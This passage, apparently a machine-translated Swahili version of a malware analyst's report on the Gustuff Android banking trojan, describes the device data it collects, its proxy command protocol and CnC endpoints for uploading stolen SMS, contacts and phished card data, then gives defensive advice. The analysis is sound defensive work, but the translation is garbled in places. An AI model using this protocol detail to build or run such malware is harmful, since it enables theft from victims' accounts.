  • mtengenezaji - Mtengenezaji wa bidhaa/vifaa (Build.MANUFACTURER).
  • androidVersion - mfuatano katika umbizo la " (),"
  • nchi - eneo la sasa la kifaa.
  • partnerId ni mfuatano tupu.
  • packageName - jina la kifurushi.
  • networkType β€” aina ya muunganisho wa sasa wa mtandao (mfano: "WIFI", "MOBILE"). Katika kesi ya makosa, inarudi null.
  • hasGsmSupport - kweli - ikiwa simu inaauni GSM, vinginevyo sivyo.
  • simReady - hali ya SIM kadi.
  • simCountry - msimbo wa nchi wa ISO (kulingana na mtoaji wa SIM kadi).
  • networkOperator - jina la opereta. Ikiwa hitilafu ilitokea wakati wa mchakato wa kupata thamani, ujumbe wa maandishi wa hitilafu utaandikwa badala ya uwanja huu.
  • simOperator - Jina la Mtoa Huduma (SPN). Ikiwa hitilafu ilitokea wakati wa mchakato wa kupata thamani, ujumbe wa maandishi wa hitilafu utaandikwa badala ya uwanja huu.
  • toleo - uwanja huu umehifadhiwa katika darasa la usanidi; kwa matoleo yaliyojaribiwa ya bot ilikuwa sawa na "1.6".

5. Hubadili hadi hali ya kusubiri amri kutoka kwa seva. Amri kutoka kwa seva huja katika muundo:

  • 0 kukabiliana - amri
  • 1 kukabiliana - sessionId
  • 2 kukabiliana - urefu
  • 4 kukabiliana - data

Amri inapofika, programu huingia:
mainLog("Kichwa { sessionId], aina[], urefu[] }")

Amri zifuatazo kutoka kwa seva zinawezekana:

jina Amri Data Maelezo
kiunganishiId 0 Kitambulisho cha muunganisho Unda muunganisho mpya
Kulala 3 Wakati Sitisha moduli ya Wakala
PING_PONG 4 - Tuma ujumbe wa PONG

Ujumbe wa PONG una baiti 4 na unaonekana kama hii: 0x04000000.

Wakati amri ya kiunganisho inapopokelewa (kuunda muunganisho mpya) CommandConnection huunda mfano wa darasa Muunganisho wa Wakala.

  • Madarasa mawili yanashiriki katika uwakilishi: Muunganisho wa Wakala ΠΈ mwisho. Wakati wa kuunda darasa Muunganisho wa Wakala kuunganisha kwa anwani ProxyConfigClass.mwenyeji: ProxyConfigClass.proxyPort na kupitisha kitu cha JSON:

 {
    "id":<%connectionId%>
}

Kwa kujibu, seva hutuma ujumbe wa SOCKS5 ambao una anwani ya seva ya mbali ambayo muunganisho lazima uanzishwe. Mwingiliano na seva hii hufanyika kupitia darasa mwisho. Usanidi wa muunganisho unaweza kuwakilishwa kimkakati kama ifuatavyo:

Jinsi Gustuff Android Trojan inavyotumia krimu (fiat na crypto) kutoka kwa akaunti zako

Maingiliano ya mtandao

Ili kuzuia uchanganuzi wa trafiki na vinukuzi vya mtandao, mwingiliano kati ya seva ya CnC na programu inaweza kulindwa kwa kutumia itifaki ya SSL. Data zote zinazotumwa kutoka na hadi kwa seva zinawasilishwa katika umbizo la JSON. Maombi hutekeleza maombi yafuatayo wakati wa operesheni:

  • http://<%CnC%>/api/v1/set_state.php - matokeo ya utekelezaji wa amri.
  • http://<%CnC%>/api/v1/get.php - kupokea amri.
  • http://<%CnC%>/api/v1/load_sms.php β€” kupakua ujumbe wa SMS kutoka kwa kifaa kilichoambukizwa.
  • http://<%CnC%>/api/v1/load_ab.php β€” inapakia orodha ya waasiliani kutoka kwa kifaa kilichoambukizwa.
  • http://<%CnC%>/api/v1/aevents.php - ombi linafanywa wakati wa kusasisha vigezo vilivyo kwenye faili ya upendeleo.
  • http://<%CnC%>/api/v1/set_card.php β€” kupakia data iliyopatikana kwa kutumia dirisha la hadaa inayojifanya Soko la Google Play.
  • http://<%CnC%>/api/v1/logs.php - kupakia data ya kumbukumbu.
  • http://<%CnC%>/api/v1/records.php - kupakia data iliyopatikana kupitia madirisha ya ulaghai.
  • http://<%CnC%>/api/v1/set_error.php - arifa ya hitilafu ambayo imetokea.

Mapendekezo

Ili kulinda wateja wao kutokana na tishio la Trojans za simu, makampuni lazima yatumie ufumbuzi wa kina unaowawezesha kufuatilia na kuzuia shughuli mbaya bila kusakinisha programu ya ziada kwenye vifaa vya mtumiaji.

Ili kufanya hivyo, njia za saini za kugundua Trojans za rununu zinahitaji kuimarishwa na teknolojia za kuchambua tabia ya mteja na programu yenyewe. Ulinzi unapaswa pia kujumuisha kipengele cha utambuzi wa kifaa kwa kutumia teknolojia ya alama za vidole dijitali, ambayo itafanya iwezekane kuelewa wakati akaunti inatumiwa kutoka kwa kifaa kisicho kawaida na tayari imeangukia mikononi mwa tapeli.

Jambo muhimu la kimsingi ni upatikanaji wa uchambuzi wa njia-mtanda, ambayo inaruhusu kampuni kudhibiti hatari zinazotokea sio tu kwenye mtandao, lakini pia kwenye chaneli ya rununu, kwa mfano, katika maombi ya benki ya rununu, kwa shughuli na cryptocurrencies na zingine zozote. miamala inaweza kufanyika.muamala wa kifedha.

Sheria za usalama kwa watumiaji:

  • usisakinishe programu za kifaa cha rununu kilicho na Android OS kutoka kwa vyanzo vingine isipokuwa Google Play, kulipa kipaumbele maalum kwa haki zilizoombwa na programu;
  • mara kwa mara sasisha sasisho za Android OS;
  • makini na upanuzi wa faili zilizopakuliwa;
  • usitembelee rasilimali za tuhuma;
  • Usibofye viungo vilivyopokelewa katika ujumbe wa SMS.

Inaigiza Semyon Rogacheva, mtaalamu mdogo katika utafiti wa programu hasidi katika Maabara ya Uchunguzi wa Kompyuta ya Kundi-IB.

Chanzo: mapenzi.com

Kuongeza maoni